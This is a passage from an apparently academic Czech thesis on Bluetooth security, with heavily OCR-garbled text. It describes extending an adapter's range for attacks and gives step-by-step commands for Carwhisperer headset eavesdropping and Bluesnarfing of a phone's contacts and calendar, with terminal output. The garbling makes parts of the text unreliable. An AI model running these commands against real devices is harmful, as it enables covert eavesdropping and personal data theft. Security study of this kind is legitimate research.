Je zaloZen na SCO logickénteposu pro fenos audio signalu, vyuziva ATiikazy,

nagiklad pro nastaveni hlasitosti, vyzwn, atd.

ICP

InterCom Profile (ICP) vyuZiva #iaeni jako interkom nebo vyséku. Tento profil

je zaloZen na TCS, ktery pouziva SCO logickéenpsu.

PBAP

Phone Book Access Profile (PBAP) umiaje vymenu polozek telefonniho seznamu
mezi zd&izenimi. Mize byt pouZzit mezi HF sadou a mobilnim telefoneno, zobrazeni

jména pichoziho hovoru z telefonniho seznamu v telefonu.
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SPP

Serial Port Profile (SPP), profil pouziva RFCOMMmMm&uje sériovy port a

poskytuje bezdratovou alternativu k aplikacim zafom na standardu RS-232.

VDP

Video Distribution Profile (VDP), profil umaitje p‘enos videa. Mze byt pouZit
pro prenos videa z kamery dorgmosného ighrav&e nebo do televizoru. Musi byt
podporovany video kodeky jako H.263 nebo MPEG-#4]2

1.15HCI protokol

Pomoci pikazu Authentication Enablge mozno nastavit pravidla pro &evani.
Je-li tento parametr povolen, bude hostitelskéizeai @i navazovani spojeni vzdy
ovérovat vzdalené z&eni. O¥iovani se nepraihne, pouze vijpad, Zze maji ob

zaizeni tento parametr zakdzany.

Pokud je v z&zeni oetrovani povoleno, tak host controller (HC) pozadéaikels o
link key pro BD_ADDR vzdaleného #aeni v owfovacim protokolu, ktery ma byt
vykonan. Toto prokhne pouze, pokud ma jiz HCriptup k tomuto ki (nap. z
mezipandti). Pokud kIE u hostitele neni, tak je &phostiteli odeslana zaporna odpdv

(HCI Link Key Request Negative Replyimto ,selhanim*“ se spusti parovani.

Prvni \&c, ktera je pdebna pro parovani je pass-key. HC vytwdCl PIN Code
RequestevenKladna odpowd’ hostiteli je pass-key, pokud je odeslana zapodpo@d,
tak to znamena, Ze u hostitele neni mozn#ét yass-key, ktery se dale pouZzije pro
parovani. Tato negativni odp&al/ zagicini selhani parovani se vzdalenymiizanim.
Pokud je v8ak odp@d’ kladna, tak HC na zahajovaci (initiating) straaSle pass-key na

baseband pro dalSi zpracovani. Od této cliidigparovani LM protokol. [1]
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1.16 LM protokol

V Link manager, z&na pérovaci postuptigazem PDULMP in rand z jednoho
zarizeni do druhého. PDU spusti generovani iniciatitzo klice, tento ki¢ dale protokol
vyuzije pro vytvdeni link-key. Ma-li byt pouzit unit key, je odesl@rikaz LMP unit key
pouze jednim sgmem, spolén¢ s utajenym XOR kéiem a inicializ&nim klicem jako jeho
parametrem. #jimac z néj snadno vypdita klic. M&-li byt vytvaren kombinani kli¢, je
potteba spoluprace obou stran. Tvorba komditao klice se provadi pomocitigazu
LMP comb key PDUzékladem PDU je nahodrigslo. Kontrola, zda byl tento postup
aspsny a zda byl vytvien link-key, se provede vzajemnymétenim udalosti. 128bitovy
ukol je odeslan prostdnictvim gikazu LMP au Rand a 32bitova odpasd’ je odeslana
piikazemLMP sres PDU Inicializaéni klic se pouziva pouze v jednomigact parovani,

potom dojde k jeho odstrami. [1]

1.17 Zabezp&eni Bluetooth

Zabezpeéeni Bluetooth podporuje ¢kovani a Sifrovani. Tyto vlastnosti jsou
zaloZzeny na tajném link-key, ktery je sdilen mezarsvanymi zéizenimi. Parovani se
pouziva, kdyZz mezi sebou &zaizeni komunikuji poprve. Existujfitrezimy zabezp&ni

zaizeni:
Non-Secure- Fristroj nebude vyZzadovat zadné beapestni procedury.

Service level enforced securityZarizeni nezahdji procedury zabespe, dokud
neni zdizen kanalu na urovni L2CAP. Tento rezim uiige rozdilné a flexibilni
moznosti pistupu pro aplikace, zejména paralelndh baplikaci s #tznymi

pozadavky na bezpeost.

Link level enforced securityZatizeni zahaji bezgaostni proceduryiedtim, nez

se odkaz nastavi na LMP.

Obrazek 10 ukazuje bezpwstni architekturu Bluetooth
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Obrazek 10. Bezgeaostni architektura Bluetooth
1.18 Bezpe&nostni urovné

Existuji dva druhy bezgeaostnich Urovni: autentizace a autorizace.

1.18.1 Autentizace

Autentizace o¥fuje, kdo je v realizovaném spojeni na druhém kolivgky.
V komunikaci prostdnictvim Bluetooth to zajifije autentizéni postup, ktery asuje
originalitu uloZzeného link-key nebo &enim postupu ip parovani. Pro splmi riznych
poZadavk na dostupnost sluzeb bez zdsahu uZivatele setizatan provadi po zjishi
arovre zabezpéeni pozadované sluzby. Z tohdvedu autentizaci nelze provést, dokud
neni vytvaden ACL link.

Autentizace na zaklahasledujici struktury:

1. Odeslana zadost d@ipojeni k L2CAP.

2. L2CAP pozaduje fistup ze security manager (beapestniho manazera).

3. Security manager (bezf®stni manaZer) se dotazuje service database édatab
sluzeb).

4. Security manager (bezf®ostni manaZer)se dotazuje device database (databaz
zaizeni).

5. Pokud je to nutné, tak si security manager (b&zp&tni manaZer) vynuti

autentizéni a Sifrovaci postup.
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6. Security manager (bezgeostni manazer) umozniigtup a L2CAP pokraije v

nastaveni fipojeni.

Autentizace miZze byt provedena v obou 8rach: klient autentizujici server a naopak.

_— 3
Application < 8 Service Database
r
7 Security
2 | Manager 4
¥ Device Database
L2CAP 6
<
r A
1 5
h 4
| HCl |

| Link Manager / Link Controller |

Obrazek 11. Autentizai postup

1.18.2 Autorizace

Pokud ma jedno z&eni povoleni k fistupu ke druhému Haeni, tak to znamena,
Ze je autorizované. Wyéryhodné z#zeni ma ten povolentigtup ke vSem sluZzbam
druhého z#izeni. Nedvéryhodné z&izeni g autorizaci vyZaduji povoleni od uzivatele,

nez poskytnouifistup ke vSem sluzbam.

Existuji nasledujici urowndiveéryhodnosti z&zeni:

1. Duveryhodné zéizeni- Zaizeni s pevnym vztahem (sparovanim), ktera nabizi
neomezenyiistup ke vsem sluzbam.

2. Nediveryhodné zéizeni -Toto zd&izeni bylo jiz dive owieno, link-key je ulozen,
ale zdizeni neni ozn#eno jako dvéryhodné v databazi druhéhorizeni.

3. Neznamé zézeni je oznéeno jako nedveryhodné zéizeni— Nejsou k dispozici

Z&dné zabezpajici informace.

Pro sluzby je moZno nastavit poZzadavek na autadriaatentizaci a Sifrovani nezavisle

na databazi Z&eni.

PoZzadavky naifstup jsou definovanyemi Urovni zabezpeni:
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Sluzby vyZadujici autorizaci a autentizaciAutomaticky gistup je poskytovan pouze

duvéryhodnym zéizenim. Ostatni 2&eni vyZzaduji manualni autorizaci od uZivatele.
Sluzby, které vyzaduji pouze autentizaatorizace neni nutna.

Sluzby otekené vSem zé&enim- neni vyzadovana autentizace, ani schvalémdtypu

uzZivatelem.

Vychozi drové zabezpéeni je vymezena pro peby starSich aplikaci. Tato
vychozi Urové je pouzita, pokud se vSechny ostatni parametnhamsji v databazi

zabezpeéeni, ktera je propojena se sluzbou. [3]



UTB ve Zling, Fakulta aplikované informatiky, 2013

34

. PRAKTICKA CAST



UTB ve Zliné, Fakulta aplikované informatiky, 2013 35

2 KONSTRUKCE BLUETOOTH ADAPTERU

Pro realizaci mé prace bylail@zité podstath zvysit dosah Bluetooth adaptéru. Na
vybér bylo rekolik moznosti jako nakup jiz hotového adaptéruwsathem 100m, kop
adaptéru s instalovanym pigtailem a zapojeni eki@ntény, nebo mnou pouZita varianta
Uprava obyejného Bluetooth adaptéru a kéugxterni antény. Na této varigritych chl
simulovat jak jednoduché a ekonomicky vyhodné jerskruovani adaptéru, ktery bude
mit funkéni radius pes 100m.

Zxtal jsem nakupem nejle¥j$iho Bluetooth adaptéru s integrovanou anténou a

funkénim radiusem kolem 10m.

————

D

ol : Bluetooth™

J -

Obrazek 12. Bluetooth adaptér
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Nasledovala demontaz pl&& odstrojeni az na desku ploSnych épGjely adaptér

byl zkonstruovan bez pouziti lepidla, takze pld&el pouze na plastovych nytech.

Obrazek 13. Rozlozeny Bluetooth adaptér

Predni strana Bluetooth adaptéru, na které je moidi mtegrovanou anténu.

Obrazek 14. redni strana Bluetooth adaptéru
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Zadni strana Bluetooth adaptéru.

Obrazek 15. Zadni strana Bluetooth adaptéru

Pavodnim zamirem bylo gipajeni pigtail konektoru iffmo na desku ploSnych
spoji, ale pozdji se zjistilo, Ze by tento Zsob byl zbytén¢ ¢asow narany, protoze by
skytal mimo jiné i Upravu desky ploSnych sipdpro byl navrhnut jiny postup a téipéajeni
kabelu s RSMA vystupemftimmo na desku adaptéru. Zprvu byltela zjistit, které
kontaktni body na desce budou k tomuto Ukonu vhodiglé&oz tento adaptér, tak jako jiné
souwasti elektroniky pracuje se stejnosmym proudem, tak bylo nutno zajistit spravnou
polaritu. Integrovana anténa poslouZzila jako wopio + pol a patice USB konektoru
poslouZzila jako uzen@mi. Toto je vidt na obrdzku 16, kde multimetr ukazujé gripojeni

sond na desku kladné stejnasne nagti 1,56V.

Obrazek 16. Zajighi kontaktnich boél na desce adaptéru
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Zkonstruovani vlastniho stiného kabelu s RSMA konektorem a spravnou
impedanci by bylo sloZzité. Proto byl tento ukofe§en ndkupem stiného kabelu

s RSMA konektorem na jedné stéams pigtailem na strardruhé.

Obrazek 17. Pigtail / RSMA kabel

Nasledovala Uprava kabelu a to odstratasti s pigtail konektorem.

Obrazek 18. RSMA kabel
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Poté byla odstrama plastova izolace stini a kabelu s dielektrikem.

Obrazek 19. RSMA kabel

Dale rozpleteno stémi kolem vnitniho kabelu s dielektrikem.

Obrazek 20. RSMA kabel
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Stirgni bylo zataveno do smidvaci buzirky pro zamezeni zkratti pedeni pobliz

desky ploSnych spbjBluetooth adaptéru.

Obrazek 21. RSMA kabel s upravenym &tiim

Nasledovala Uprava integrované antény adaptérunuileo odstranit anténu co

nejblize desce a to &lr impedanci a moznému ruseni.

Obrazek 22. Upraveny Bluetooth adaptér
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Poté probhlo pripajeni vnitniho kabelu najvodni anténu, je zap@tbi ustihnout

vnitini nestigny kabel co nejblize stni aby nedohazelo k ruseni.

Obrazek 23. Upraveny Bluetooth adaptér

Déle bylo pateba napdjet sténi na uzeméni Bluetooth adaptéru, tzn. na kolik

patice USB konektoru.

Obrézek 24. Upraveny Bluetooth adaptér
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K dokorteni uz stalo pouze pipevnit pivodni obal a trochu jej upravit, tak aby
pojal RSMA kabel.

Obrazek 25. Upraveny Bluetooth adaptér

2.1 Meéreni dosahu Bluetooth adaptéru

Dosah pro komunikaci prasdnictvim Bluetooth technologie secuje podle tidy
(Class), do které pouzité itzeni spada. fl[da se utuje podle maximalniho vystupniho
vykonu. Pro své dely jsem pouzil zdzeni tidy 2, bez Upravy ma #aeni s toutoirfdou

dosah vystupni vykon do 2,5mW a tim padem dosa®0duoetti.
Integrovana anténa

USB Bluetooth adaptér ¢h pred Upravou moZznost spoleRlikomunikovat na
volném prostranstvi do vzdalenosti 25 metbosah 25 meilr je v nornt této tidy.
Integrovand anténa je vSedowva, takZe teoretickd ,viditelnost* fiaeni se vypéta
pomoci vzorce S = * r? coZ je tén¥ 1964nf. Teoreticka viditelnost je vSak v praxi

nepravé@podobnd, protoze Zadna anténa nedarysilani signalu do dokonalého kruhu.
VSesnérova anténa 8 dBi

Po Upra¥ Bluetooth adaptéru bylo mozZndiojit externi anténu pomoci RSMA

konektoru. Pouzil jsem 8 dBi vSes8ravou anténu pro Wi-Fi router, s vykonem 1W,
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technologie Bluetooth i Wi-Fi pracuji na stejnékirenci 2,4GHz. Po ijpojeni antény
k Bluetooth adaptéru se komunikace na volném mostvi zvySila na 75 métr coz
zaruiuje teoretickou ,viditelnost* Zézeni 5625m Tento dosah je naprosto dastici

pro Bluetooth utoky ndiklad ve néstech.[9]

Nasledujici graf zobrazuje rozdil v dosahu Bludicadapter § pouZiti integrované a

externi antény

typ antény

Integrovana antér M Integrovana anténa

. ] [ Externi 8dBi anténg
Externi 8dBi antén i

0 20 40 60 80
dosah [m]

Obrazek 26. Srovnani dosahu Bluetooth adaptéru
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3 UTOK NA BLUETOOTH SPOJENI

3.1 Backtrack

Pro veSkeré penetnai testy Bluetooth technologie je zafmiii operani systém
Linux. Pro své &ely jsem vybral Backtrack. Distribuce Backtraita jiz 5 generaci. Zprvu
jsem pracoval s posledni verzi, coz je Backtradk &ato verze vSak nevyhovovala mym
poZzadavkm, protoZe no&jSi verze jadra Linuxového kernelu jiz neumoje Upravu
systému do takové miry, jakou jsem pro svou pradiepoval. Volba tedy padla na
Backtrack 3. Systém jsem nepouZil jako primarni rappé systém v pétaci, ale
nainstaloval jsem jej jako virtualni opém systéem v VMware Workstation. Verze
Backtrack 3 neniifliS programo¥ vybavena, takZze po instalaci samotného Bactraaku
konfiguraci systému bylo zagebi nainstalovat a konfigurovat aplikace pro atak n

Bluetooth spojeni.

3.2 Carwispererer

Prvni aplikace, kterou jsem se pokouSel o napaB&mtooth spojeni je aplikace
Carwhisperer. Aplikace Carwhisperer byla vyvinutaoge 2005 organizaci Trifinite.
Cilem aplikace je poukazat na nedostatky spojemietBbth technologie. Aplikace je
vyuZzivana pro utok na Bluetooth spojeni mezi heasea mobilnim telefonem, protoze
toto spojeni je zpravidla zabezpao pouze defaultnim kKém. Organizace Trifinite nabizi
aplikaci volrt ke staZzeni na svych strankach. AplikacZiptak jako ostatni aplikace

obdobného zatiieni, pouze v opetaim systému Linux.

Po rozbaleni se v adréeaé struktiie objevi spousta adrégaale pro uzivatele, ktery

se chysta k utoku pomoci této aplikace,jieditych jenom gkolik souboti a skripfi:

cw_scanner

Po spudini skriptu cw_scanner, tento skript neustale vydw@ddostupna viditelna
Bluetooth zé&zeni. Ri konfiguraci HCI si uzivatel nadefinuje, kteréidy Bluetooth
zarizeni bude cw_scanner vyhledavat, jestli headpesiitace, Bluetooth adaptéry, nebo
jiné zd&izeni. Jakmile cw_scanner najde Bluetoohizemi s definovanouritiou, tak se

k nalezenému Z&eni gipoji pres rffcomm kanal, otég control connection a SCO links.
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cw_pin

Jakmile cw_scanner objevi vhodnéizani, tak je ieba zajistit spojeni s timto
zarizenim, ¢ili zjistit PIN ktery se vyskytuje mezi mobilnim lefgonem a Bluetooth
zarizenim. Zjiséni PINu zajisti skript cw_pin.pl. Skript zjisti Klz Bluetooth adresy ktera
byla zjiS€na skriptem cw_scanner. Prviii bajty Bluetooh adresy odkazuji na vyrobce
zarizeni. Napiklad bity 00:0E:9F ukazuji na #aeni od vyrobce Nokia, ktery ma defadltn
nastaven ki 1234, nebo bity 00:0C:84 ukazuji na vyrobce HF Badot, ktery ma kii
defaultré nastaven na 0000. Skript se da editovat, takzénikkaniZze vyhledat adresy od
vSech vyrobé HF sad a ty potomiat do skriptu. Drtiva &sSina vyrobé vSak pouziva

klice 1234 nebo 0000 bez moznostiéom

Jakmile aplikace navaze spojeni, takrneaodesilat zaznam zvuku mezi headsetem
a mobilem, tim Uténik zatne odposlouchavat rozhovor diy kterd \vibec netusi, Ze je

odposlouchavana.

Standartni Bluetooth adaptér 3idy nabizi dosah kolem 10m. Takovy dosah je
k odposlouchavani raeni, které je v projizgicim automobilu nedostajici, aleieSeni,
které jsem nabidl v 2. kapitole, ukazuje, jak jedin®e Ize dosah zvysit na 100m. Pokud by

ato¢nik stopoval obt’ dost dlouho, tak by byl schopny odposlechnout spioinformaci

[7][8].

3.2.1 Instalace carwhisperer

Po UspsSné instalaci a konfiguraci systému Backtrack Se81 se pustil do instalace
a konfigurace carwhispereru. VesSkera prace s capeherem probiha pomociikazi
v termindlu. Nejprve je systémeba systémifpravit pro praci se Z&zenim Bluetooth, to
znamena nakonfigurovat systém a nainstalovat kmj@vo praci s Bluetooth, to vSechno

se provedeifkazem:

sudo aptitude install libbluetooth-dev
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Dale jsem stahnul posledni dostupnou verzi carven&sp @imo ze stranek
organizace Trifinite pomocitfkazu:

wget http://trifinite.org/Downloads/carwhisperertar.gz

Pokud neni nastaveno jinak, tak se cil odkazu ttefaulozi do rootu Backtracku.

Slozka je zabalena v .tar souboru. Nasledujicitftkagem se slozka rozbali &p
v korenovém adresa

tar zxvf carwhisperer-0.2.tar.gz

Po staZzeni a rozbaleni carwhispereru nasledovabdigkwace systému pro praci
s Bluetooth z#izenim. Nejprve je pééba uvést do provozu Bluetooth fizani

nésledujicim gkazem:

hciconfig hciO uproot

Nasledujici pikaz, slouzi pro kontrolu, jestli port hciO, na néen je gipojen

Bluetooth USB adaptér opravdu pracuje spéavn

hciconfig hciO

Pokud je vSe v padku, tak by mdl terminal vypsat nasledujici vysledkyili
informaci, Ze na hciO jeifpojeno USB z#zeni, fyzickou adresu #aeni, informaci, Ze

zarizeni pracuje na ACL (Asynchronous connection de@énspojeni, dale zZe je aktivni a
informace o vyslanych aipmutich bitech:

hci0: Type: BR/EDR Bus: USB
BD Address: 00:15:83:3D:0A:57 ACL MTU: 8192:128 SGITU: 64:128

UP RUNNING
RX bytes:924 acl:0 sco:0 events:35 errors:0

TX bytes:148 acl:0 sco:0 commands:35 errors:0

Cilem pouziti carwhispereru je odposlech hovorwtgije teba zkontrolovatitdu pro

kterou je z&izeni nastaveno. To se provedikazem:
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hciconfig —a

Nasleduje vypis, ktery @p informuje, Ze na hciO jefpojeno USB z#zeni,
fyzickou adresu zdzeni, informaci, Ze z&eni pracuje na ACL (Asynchronous connection
oriented) spojeni, dale Ze je aktivni a informaocg/glanych a fijmutich bitech, ale navic
jeS€ podava informaci, o typech pakehazvu ztizeni, ale hlavéo tiid¢ zaizeni, ktera je

defaultré nastavena na adresu 0x00018Dnhema zZadnou specifikaci pouziti:

hci0: Type: BR/EDR Bus: USB
BD Address: 00:15:83:3D:0A:57 ACL MTU: 8192:128GQ MTU: 64:128
UP RUNNING
RX bytes:924 acl:0 sco:0 events:35 errors:0
TX bytes:148 acl:0 sco:0 commands:35 errors:0
Features: Oxff Oxff Ox8f Oxfe 0x83 Oxel 0x08 0x80
Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
Link policy: RSWITCH HOLD SNIFF PARK
Link mode: SLAVE ACCEPT
Name: 'Virtual Bluetooth Adapter
Class: 0x000100
Service Classes: Unspecified

Zmeéna ¥idy zdizeni se provede nasledujicirfikazem. Pro odposlech hovoru je

tieba zménit téidu zd&izeni na adresu 0x050204, ktera se provéik@pem:

hciconfig hciO class 0x050204

Pro ogtovnou kontrolu, jestli je zadana adresa spravmgjepouzit gikaz:

hciconfig —a

Prikaz vypiSe informace o adaptéru. Informace jswvalké casti stejné, jako minuly
vypis, jenom se z#mila ttida z&izeni z 0x000100 na 0x050204li z nespecifikované

tiéidy na tidu Phone, Cellular:

hci0: Type: BR/EDR Bus: USB
BD Address: 00:15:83:3D:0A:57 ACL MTU: 8192:128 SGITU: 64:128
UP RUNNING
RX bytes:1207 acl:0 sco:0 events:39 errors:0
TX bytes:163 acl:0 sco:0 commands:39 errors:0
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Features: Oxff Oxff Ox8f Oxfe 0x83 Oxel 0x08 0x80

Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
Link policy: RSWITCH HOLD SNIFF PARK

Link mode: SLAVE ACCEPT

Name: 'Virtual Bluetooth Adapter'

Class: 0x050204

Service Classes: Positioning, Rendering

Device Class: Phone, Cellular

HCI Version: 2.1 (0x4) Revision: 0x100

LMP Version: 2.1 (0x4) Subversion: 0x100

Nyni je jiz systém pl& nakonfigurovany pro praci s Bluetooth adaptéreshze
zaina prace s carwhispererem, po rozbaleni je slazik@otu systému, fiepnutim do

sloZzky zajisti pikaz:

cd carwhisperer-0.2

Instalace je velmi jednoducha a to pouti&gzem:

make

Nyni je systém, adaptér i programipgpaven k vyhledavani mobilnich telefora
odposlechu. Po zadani nasledujicihibkgzu z&ne carwhisperer vyhledavat izzeni
v dosahu. O nic vic se nerieba starat, aplikace sama najde dostuphigerd a zaéne

ukladat audio zaznam do slozky samples:

Jcw_scanner

Pokud adaptér objevi #aeni v dosahu, tak vypiSe jeho MAC adresu a poursii

00:1E:DE:76:09:C6
Can't connect RFCOMM chanel!: Permission denied

Pokud skript vypiSe hlaSku Can't connect RFCOMMnelia Permission denied, tak se
atok nepod# zrealizovat. Pro svoji praci jsem pouzil headdekia BT-108, na tomto

headsetu se skriptu nepodaripojit se na RFCOMM kanal, tim padem seé&mu neni
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moznost pipojit a odposlouchavat jej. Aplikace carwhispeptey mohla uskuinit
aspEsSny utok na starSi typ headsetu, u kterého by sméndalo fipojit na jeho RFCOMM
kanal, ale nepodéo se n¢ takové z&zeni ve funknim stavu vyhledat, takZze nebylo
mozno takovy Utok zrealizovat. Vyrobci si bylgdomi, Ze je moZzno odposlouchavat
headsety pomoci Bluetooth technologie, tak u mddered&izeni zabezpdli RFCOMM

kanal tak, aby se na&jmebylo mozno fipojit a realizovat odposlech.

3.3 Bluesnarfing

Technologie Bluesnarfing se povazuje za jednu miphvtechnologii pouzivanou pro
atok na Bluetooth. Touto technologii se daji zidkattakty, zpravy, kalenda jiné data
uloZzené v parti telefonu aniz by majitel utok&mk pozoroval. Prvni Gtok byl realizovan
na Ericsson T68i, tedy na telefon s proprietarnpargnim systémem. Mohlo by se zdat,
Ze telefon s proprietarnim opé&ndm systémem je jiz nevyuzivany, ale podlézikumi
spole&nosti Gartner je na trhu pet prodanych smartphéna ,hloupych® telefoi
vyrovnany, navic do budoucnaegdpovida, Ze se prodej smartpharz nebude zvySovat a

s postupentasu bude procento prodanych smartghgpisSe klesat.

3.3.1 Utok na mobilni telefon Ericsson T68i
Nejprve je pateba uvést do provozu Bluetoothizeni nasledujicimifkazem:

hciconfig hciO uproot

Nasledujici pikaz, slouzi pro kontrolu, jestli port hciO, na e je gipojen

Bluetooth USB adaptér opravdu pracuje spéavn

hciconfig hciO -a

Nasleduje vypis, ktery informuje, Ze na hciO j@gpjeno USB z&zeni, fyzickou
adresu z#éizeni, informaci, Ze z&eni pracuje na ACL (Asynchronous connection deién

spojeni, dale Ze je aktivni a informace o vyslangchiijmutich bitech, ale navic jest
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podava informaci, o typech paketnazvu zézeni, ale hlavé o tidé zaizeni, ktera je

defaultré nastavena na adresu 0x000180nema zadnou specifikaci pouZziti:

hci0: Type: BR/EDR Bus: USB
BD Address: 00:15:83:3D:0A:57 ACL MTU: 8192:128S MTU: 64:128
UP RUNNING
RX bytes:924 acl:0 sco:0 events:35 errors:0
TX bytes:148 acl:0 sco:0 commands:35 errors:0
Features: Oxff Oxff Ox8f Oxfe 0x83 Oxel 0x08 0x80
Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
Link policy: RSWITCH HOLD SNIFF PARK
Link mode: SLAVE ACCEPT
Name: 'Virtual Bluetooth Adapter'
Class: 0x000100
Service Classes: Unspecified

Nyni je poteba vyhledat zézeni, na které pozd zautaiime, k tomu slouZiijkaz:

hcitool scan

Pokud je v dosahu #aeni, tak terminal vypiSe MAC adresuizeani a nazev:

Scanning ...
00:80:37:51:F3:68 T68i

Déale gikaz vterminalu slouzi zji&i podrobnosti o telefonu, vypiSe spoustu
informaci, z nichZ je pro snarfingilézitd pouze jedna a to, ktery RFCOMM kandl je
pouzit pro OBEX Object Push, neboli pro wma dat. Do terminalu tedy zapiSeniékpz

spdtool browse a MAC adresu vyhledanéhibzzani:

sdptool browse 00:80:37:51:F3:68

Nasleduje dlouhy vypis sluzeb, kter&izani nabizi, ale jak jsem jiz uvedl vySe, je
dulezita pouzeast scislem RFCOMM kanalu. Uvadim pouze odstavec, ktefgrmuje o
¢isle RFCOMM kandlu, zbytek vypisu je k nalezenitiioze, v tomto pipact se pouziva
10. kanal:

Browsing 00:80:37:51:F3:68 ...
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Service Name: OBEX Object Push
Service RecHandle: 0x10005
Service Class ID List:
"OBEX Object Push” (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 10
"OBEX" (0x0008)
Profile Descriptor List:
"OBEX Object Push” (0x1105)
Version: 0x0100
Po zjiSéni, Ze je pouzit 10. RFCOMM kanal je pelba tento kanal v telefonu
otewit, abychom skrz & mohli s telefonem nepozorovarkomunikovat, k tomu slouzi

routine RFCOMM scan, kterou oti@me pikazem:

rfcomm_scan

Terminal rovez vypiSe napasdu pro praci s timto skriptem, kterou zde nebudu

uvadt. Nyni uz samotnyijkaz:
rfcomm_scan —S 00:15:83:3D:0A:57 —0 —s 10 —e 18@37:51:F3:68

| kdyZz se tento fikaz nuze zdat na prvni pohled slozity, tak je, ostajako
vSechny pikazy v linuxu, naprosto logicky.ifRazrfcomm_scan -8ahaji hledani RFCOM
kanalu pomoci lokalniho adaptéru, jehoz MAC adres@0:15:83:3D:0A:57 -0-s 10
odkazuje od kterého kanélu mé&ikaz vyhledavat—e 10 urtuje po ktery kanal ma
vyhledavat @0:80:37:51:F3:68urcuje na kterém Zé&eni ma tento kanal oté#t, Pokud se

vSechno pod# tak terminal vypiSe hlasku:

rfcomm: 10 open

Timto se oteviraji moznosti k napadeni telefonwzaaji$uje skript btobex, ktery

se spoustiikazem:

btobex
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Terminal ogt vypiSe kratkou nap@du s gikazy, které zajiduji autok. Nagiklad

pro staZzeni telefonniho seznamu je poutikgz:

btobex -i hciO getpb 00:80:37:51:F3:68 10

Vyswétleni grikazu je opt velmi jednoduché btobex —i hciO zmaze skript bude

pracovat s lokalnim adaptérem getpb je zkratkaziskani seznamu kontadktnasleduje

MAC adresa telefonu dislo RFCOMM kanalu. Tato operaceise trvat 10 sekund az

3minuty, v zavislosti na @tu kontakfi v pangti telefonu po Uusgsném napadeni vypiSe

terminal kontakty:

BEGIN:VCARD
VERSION:2.1
N:Jmeno Prijmeni
TEL+420123456789;
CELL:+420123456789
END:VCARD

Ptikaz pro ziskani kalentije hod® podobny, jen je pouzit getcal:

btobex -i hciO getcal 00:80:37:51:F3:68 10

Nasleduje vypis, zdhoz si Gténik pohodl’ zjisti sjednanou sdizku:

BEGIN:VCALENDAR
VERSION:1.0

BEGIN:VEVENT
DTSTART:20130517T010000Z
DTEND:20130517T020000Z
SUMMARY:Ad

LOCATION:Ad
CATEGORIES:APPOINTMENT
END:VEVENT
END:VCALENDAR

DalSim atokem, ktery jiz neni nebezpyg, ale velmi nefijemny je zasilani vizitek.

Vizitku jsem vytvdil podle vzoru kontaktu z vypisdili:

BEGIN:VCARD
VERSION:2.1
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N:Reditel Obchodniho useku
TEL;CELL:123456789
END:VCARD

Takovou vizitku je iteba ulozit s fiponou .vcf, v mém ifpad kontakt.vcf,

nasleduje fikaz, kterym se tato vizitka odesle:

btobex -i hciO push 00:80:37:51:F3:68 kontakt.vcf

Tento Utok jiZz nefedstavuje Zadné bezpwstni riziko, ale pokud Gtaik bude
rozesilat skript stale dokola, tak &bpiinejmensim vypne mobilni telefon. Utoky na
~hloupy“ telefon jsou tedy stale mozné&pveék se znalostmi Linuxu vSechny tyto Utoky

realizuje viddech minut. Tabulka 1 zobrazuje seznant$rsch a neusi$nych operaci.

Operace Usgch

Detekce z#zeni ANO

Vypis podrobnosti Zé&zeni ANO
Oteweni RFCOMM kanalu pro komunikaci ANO
Stahnuti seznamu s kontakty ANO

Stahnuti kalend@ ANO
MoZznost ukladani dat do telefonu ANO

Tabulka 3. Seznam U&nych a neusidnych operaci

3.3.2 Utok na smartphone Samsung Galaxy S2
Opet je nejprve pakba uvést do provozu Bluetoothiizani nasledujicimifkazem:

hciconfig hciO uproot

Nasledujici pikaz, slouzi pro kontrolu, jestli port hciO, na néen je gipojen

Bluetooth USB adaptér opravdu pracuje spéavn

hciconfig hciO -a
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Nasleduje vypis, ktery informuje, Ze na hciO j@gpjeno USB z#zeni, fyzickou
adresu z#éizeni, informaci, Ze z&eni pracuje na ACL (Asynchronous connection deién
spojeni, dale Ze je aktivni a informace o vyslarggtijatych bitech, ale navic j@Spodava
informaci, o typech pakét ndzvu z#zeni, ale hlavé o tidé zaizeni, kterd je defaulén
nastavena na adresu 0x000180 nema Zadnou specifikaci pouziti:
hciO: Type: BR/EDR Bus: USB

BD Address: 00:15:83:3D:0A:57 ACL MTU: 8192:128GQ MTU: 64:128

UP RUNNING

RX bytes:924 acl:0 sco:0 events:35 errors:0

TX bytes:148 acl:0 sco:0 commands:35 errors:0

Features: Oxff Oxff Ox8f Oxfe 0x83 Oxel 0x08 0x80

Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3

Link policy: RSWITCH HOLD SNIFF PARK

Link mode: SLAVE ACCEPT

Name: 'Virtual Bluetooth Adapter

Class: 0x000100
Service Classes: Unspecified

Nyni je poteba vyhledat zézeni, na které pozd zautaiime, k tomu slouziijkaz:

hcitool scan

Pokud je v dosahu #aeni, tak terminal vypiSe MAC adresuizani a nazev:

Scanning ...
12:E4:B0:21:2E:6C:B9 James i9100

Déle pikaz vtermindlu slouzi zji&hi podrobnosti o telefonu, vypiSe spoustu
informaci, z nichZ je pro snarfingileézita pouze jedna a to, ktery RFCOMM kanal je
pouzit pro OBEX Object Push, neboli pro wmu dat. Do terminélu tedy zapiSemé&pz

spdtool browse a MAC adresu vyhledanéhizami:

sdptool browse 12:E4:B0:21:2E:6C:B9

Nasleduje dlouhy vypis sluzeb, kter&izani nabizi, ale jak jsem jiz uvedl vySe, je

dulezita pouzeast scislem RFCOMM kanalu. Uvadim pouze odstavec, ktefgrmuje o
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¢isle RFCOMM kanalu, zbytek vypisu je k nalezeniiNgze, v tomto pipact se pouziva
12. kanal:

Browsing E4:B0:21:2E:6C:B9 ...

Service Name: OBEX Object Push
Service RecHandle: 0x10004
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 12
"OBEX" (0x0008)
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100

Po zjiS&ni, Ze je pouzit 12. RFCOMM kandl je peba tento kanal v telefonu
otewit, abychom skrz & mohli s telefonem nepozorovarkomunikovat, k tomu slouzi

routine RFCOMM scan, kterou ot@me pikazem:

rfcomm_scan

Terminal roveZz vypiSe napasdu pro praci s timto skriptem, kterou zde nebudu

uvadst. Nyni uz samotnyikaz:

